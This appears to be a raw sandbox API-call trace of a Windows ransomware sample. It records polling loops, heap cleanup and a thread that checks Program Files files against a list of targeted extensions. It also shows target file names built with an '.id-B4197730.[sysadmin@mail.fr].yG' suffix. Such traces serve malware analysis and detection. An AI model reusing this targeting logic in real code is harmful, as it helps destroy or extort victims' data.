	[0158.032] GetTickCount () returned 0x14c65
	[0158.032] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0158.260] GetTickCount () returned 0x14d40
	[0158.260] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0158.579] GetTickCount () returned 0x14e88
	[0158.579] GetTickCount () returned 0x14e88
	[0158.580] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0159.150] GetTickCount () returned 0x150bb
	[0159.151] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0160.109] GetTickCount () returned 0x15483
	[0160.109] GetTickCount () returned 0x15483
	[0160.109] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0160.457] GetTickCount () returned 0x155db
	[0160.457] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0160.624] GetTickCount () returned 0x15677
	[0160.624] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0160.870] GetTickCount () returned 0x15771
	[0160.870] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0161.066] GetTickCount () returned 0x1583d
	[0161.066] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0161.449] GetTickCount () returned 0x159b4
	[0161.449] GetTickCount () returned 0x159b4
	[0161.449] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0161.903] GetTickCount () returned 0x15b79
	[0161.903] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0162.368] GetTickCount () returned 0x15d4d
	[0162.369] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0162.895] GetTickCount () returned 0x15f51
	[0162.895] GetTickCount () returned 0x15f51
	[0162.895] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0163.222] GetTickCount () returned 0x160a9
	[0163.222] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0163.361] GetTickCount () returned 0x16135
	[0163.361] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0163.739] GetTickCount () returned 0x162ac
	[0163.739] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0163.954] GetTickCount () returned 0x16387
	[0163.954] GetTickCount () returned 0x16387
	[0163.954] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0164.290] GetTickCount () returned 0x164df
	[0164.307] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0164.701] GetTickCount () returned 0x16666
	[0164.701] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0165.149] GetTickCount () returned 0x1682b
	[0165.149] GetTickCount () returned 0x1682b
	[0165.149] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0165.292] GetTickCount () returned 0x168b7
	[0165.292] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0165.970] GetTickCount () returned 0x16b67
	[0165.970] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0166.392] GetTickCount () returned 0x16d0d
	[0166.392] GetTickCount () returned 0x16d0d
	[0166.393] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0166.537] GetTickCount () returned 0x16d99
	[0166.537] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0166.911] GetTickCount () returned 0x16f10
	[0166.911] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0167.143] GetTickCount () returned 0x16ffb
	[0167.143] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0167.322] GetTickCount () returned 0x170a7
	[0167.322] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0167.552] GetTickCount () returned 0x17191
	[0167.552] GetTickCount () returned 0x17191
	[0167.552] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0167.784] GetTickCount () returned 0x1727b
	[0167.784] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0168.011] GetTickCount () returned 0x17356
	[0168.011] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0168.223] GetTickCount () returned 0x17431
	[0168.223] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0168.602] GetTickCount () returned 0x175a8
	[0168.602] GetTickCount () returned 0x175a8
	[0168.602] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0168.832] GetTickCount () returned 0x17692
	[0168.832] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0169.049] GetTickCount () returned 0x1776d
	[0169.049] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0169.797] GetTickCount () returned 0x17a5b
	[0169.797] GetTickCount () returned 0x17a5b
	[0169.797] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0169.972] GetTickCount () returned 0x17b07
	[0169.972] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0170.211] GetTickCount () returned 0x17bf1
	[0170.211] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0170.438] GetTickCount () returned 0x17cdc
	[0170.438] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0170.626] GetTickCount () returned 0x17d87
	[0170.626] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0171.210] GetTickCount () returned 0x17fca
	[0171.210] GetTickCount () returned 0x17fca
	[0171.210] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0171.477] GetTickCount () returned 0x180e3
	[0171.477] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0171.794] GetTickCount () returned 0x1821b
	[0171.794] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0171.935] GetTickCount () returned 0x182a8
	[0171.935] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0172.252] GetTickCount () returned 0x183e0
	[0172.252] GetTickCount () returned 0x183e0
	[0172.252] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0172.674] GetTickCount () returned 0x18586
	[0172.674] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0173.072] GetTickCount () returned 0x1871d
	[0173.072] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0173.360] GetTickCount () returned 0x18836
	[0173.360] GetTickCount () returned 0x18836
	[0173.360] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0173.691] GetTickCount () returned 0x1897e
	[0173.691] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0174.103] GetTickCount () returned 0x18b24
	[0174.103] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0174.548] GetTickCount () returned 0x18ce9
	[0174.548] GetTickCount () returned 0x18ce9
	[0174.548] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0174.804] GetTickCount () returned 0x18de3
	[0174.804] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0174.929] GetTickCount () returned 0x18e60
	[0174.929] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0175.074] GetTickCount () returned 0x18eed
	[0175.074] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0175.171] GetTickCount () returned 0x18f5a
	[0175.171] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0175.427] GetTickCount () returned 0x19054
	[0175.427] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0175.827] GetTickCount () returned 0x191ea
	[0175.827] GetTickCount () returned 0x191ea
	[0175.827] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0176.119] GetTickCount () returned 0x19303
	[0176.119] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0176.385] GetTickCount () returned 0x1940d
	[0176.385] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0176.619] GetTickCount () returned 0x194f7
	[0176.619] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0177.107] GetTickCount () returned 0x196eb
	[0177.108] GetTickCount () returned 0x196eb
	[0177.108] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0177.296] GetTickCount () returned 0x197a7
	[0177.296] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0177.671] GetTickCount () returned 0x1991e
	[0177.671] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102
	[0177.901] GetTickCount () returned 0x199f9
	[0177.901] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x0
	[0177.901] WaitForMultipleObjects (nCount=0x4, lpHandles=0x297ff5c*=0x27c, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0178.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c8020 | out: hHeap=0x4f0000) returned 1
	[0178.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e1d0 | out: hHeap=0x4f0000) returned 1
	[0178.079] lstrlenW (lpString=".yG") returned 3
	[0178.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548b48 | out: hHeap=0x4f0000) returned 1
	[0178.080] lstrlenW (lpString=".[sysadmin@mail.fr]") returned 19
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5079c0 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e180 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548ad0 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548a58 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5488d8 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548b00 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548a88 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548b18 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e1e0 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5489e0 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548830 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548920 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e190 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e1b0 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x548968 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e2a0 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5489c8 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e200 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5489f8 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfe0 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509220 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ad60 | out: hHeap=0x4f0000) returned 1
	[0178.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534cb0 | out: hHeap=0x4f0000) returned 1
	[0178.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506c60 | out: hHeap=0x4f0000) returned 1
	[0178.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592320
	[0178.082] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592320, Size=0x20) returned 0x45b04d0
	[0178.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592218
	[0178.082] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592218, Size=0x20) returned 0x45b05c0
	[0178.082] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.083] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.083] Wow64DisableWow64FsRedirection (in: OldValue=0x297ff7c | out: OldValue=0x297ff7c*=0x1) returned 1
	[0178.083] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b05c0 | out: hHeap=0x4f0000) returned 1
	[0178.083] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b04d0 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 41
	os_tid = 0xe18

	[0132.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x565ce8
	[0132.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x59c1d0
	[0132.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596758
	[0132.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54d030
	[0132.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596770
	[0132.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3645020
	[0132.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596788
	[0132.655] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596788, Size=0x20) returned 0x52dd10
	[0132.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596788
	[0132.656] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596788, Size=0x20) returned 0x52de00
	[0132.656] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.656] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.656] Wow64DisableWow64FsRedirection (in: OldValue=0x2abff50 | out: OldValue=0x2abff50*=0x0) returned 1
	[0132.656] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd10 | out: hHeap=0x4f0000) returned 1
	[0132.656] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de00 | out: hHeap=0x4f0000) returned 1
	[0132.656] Sleep (dwMilliseconds=0x64) 
	[0133.191] Sleep (dwMilliseconds=0x64) 
	[0133.615] Sleep (dwMilliseconds=0x64) 
	[0133.883] Sleep (dwMilliseconds=0x64) 
	[0134.241] Sleep (dwMilliseconds=0x64) 
	[0134.521] Sleep (dwMilliseconds=0x64) 
	[0134.893] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0134.893] lstrlenW (lpString="Alphabet.xml") returned 12
	[0134.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.111] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=791421) returned 1
	[0135.111] CloseHandle (hObject=0x390) returned 1
	[0135.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0135.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.112] lstrlenW (lpString=".doc") returned 4
	[0135.112] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.112] lstrlenW (lpString=".docx") returned 5
	[0135.112] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0135.112] lstrlenW (lpString=".pdf") returned 4
	[0135.112] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.112] lstrlenW (lpString=".xls") returned 4
	[0135.112] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.112] lstrlenW (lpString=".xlsx") returned 5
	[0135.112] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0135.112] lstrlenW (lpString=".ppt") returned 4
	[0135.112] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.112] lstrlenW (lpString=".zip") returned 4
	[0135.112] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.112] lstrlenW (lpString=".rar") returned 4
	[0135.112] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.112] lstrlenW (lpString=".bz2") returned 4
	[0135.112] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.112] lstrlenW (lpString=".7z") returned 3
	[0135.112] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.113] lstrlenW (lpString=".dbf") returned 4
	[0135.113] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0135.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.113] lstrlenW (lpString=".1cd") returned 4
	[0135.113] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0135.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.113] lstrlenW (lpString=".jpg") returned 4
	[0135.113] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0135.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.113] lstrlenW (lpString=".doc") returned 4
	[0135.113] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.113] lstrlenW (lpString=".docx") returned 5
	[0135.113] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0135.113] lstrlenW (lpString=".pdf") returned 4
	[0135.113] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.113] lstrlenW (lpString=".xls") returned 4
	[0135.113] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.113] lstrlenW (lpString=".xlsx") returned 5
	[0135.113] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0135.113] lstrlenW (lpString=".ppt") returned 4
	[0135.113] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.114] lstrlenW (lpString=".zip") returned 4
	[0135.114] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.114] lstrlenW (lpString=".rar") returned 4
	[0135.114] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.114] lstrlenW (lpString=".bz2") returned 4
	[0135.114] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.114] lstrlenW (lpString=".7z") returned 3
	[0135.114] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.114] lstrlenW (lpString=".dbf") returned 4
	[0135.114] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0135.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.114] lstrlenW (lpString=".1cd") returned 4
	[0135.114] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0135.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0135.114] lstrlenW (lpString=".jpg") returned 4
	[0135.114] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0135.115] Sleep (dwMilliseconds=0x64) 
	[0135.894] Sleep (dwMilliseconds=0x64) 
	[0136.334] Sleep (dwMilliseconds=0x64) 
	[0136.663] lstrcmpiW (lpString1=".inc", lpString2=".yG") returned -1
	[0136.663] lstrlenW (lpString="oledbjvs.inc") returned 12
	[0136.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0136.664] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=9804) returned 1
	[0136.664] CloseHandle (hObject=0x3fc) returned 1
	[0136.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20
	[0136.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.664] lstrlenW (lpString=".doc") returned 4
	[0136.664] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0136.664] lstrlenW (lpString=".docx") returned 5
	[0136.664] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0136.664] lstrlenW (lpString=".pdf") returned 4
	[0136.664] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0136.664] lstrlenW (lpString=".xls") returned 4
	[0136.664] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0136.664] lstrlenW (lpString=".xlsx") returned 5
	[0136.664] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0136.665] lstrlenW (lpString=".ppt") returned 4
	[0136.665] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0136.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.665] lstrlenW (lpString=".zip") returned 4
	[0136.665] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0136.665] lstrlenW (lpString=".rar") returned 4
	[0136.665] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0136.665] lstrlenW (lpString=".bz2") returned 4
	[0136.665] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0136.665] lstrlenW (lpString=".7z") returned 3
	[0136.665] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0136.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.665] lstrlenW (lpString=".dbf") returned 4
	[0136.665] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0136.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.665] lstrlenW (lpString=".1cd") returned 4
	[0136.665] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0136.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.665] lstrlenW (lpString=".jpg") returned 4
	[0136.665] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0136.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.665] lstrlenW (lpString=".doc") returned 4
	[0136.665] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0136.665] lstrlenW (lpString=".docx") returned 5
	[0136.665] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0136.665] lstrlenW (lpString=".pdf") returned 4
	[0136.665] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0136.665] lstrlenW (lpString=".xls") returned 4
	[0136.666] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0136.666] lstrlenW (lpString=".xlsx") returned 5
	[0136.666] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0136.666] lstrlenW (lpString=".ppt") returned 4
	[0136.666] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0136.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.666] lstrlenW (lpString=".zip") returned 4
	[0136.666] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0136.666] lstrlenW (lpString=".rar") returned 4
	[0136.666] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0136.666] lstrlenW (lpString=".bz2") returned 4
	[0136.666] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0136.666] lstrlenW (lpString=".7z") returned 3
	[0136.666] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0136.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.666] lstrlenW (lpString=".dbf") returned 4
	[0136.666] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0136.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.666] lstrlenW (lpString=".1cd") returned 4
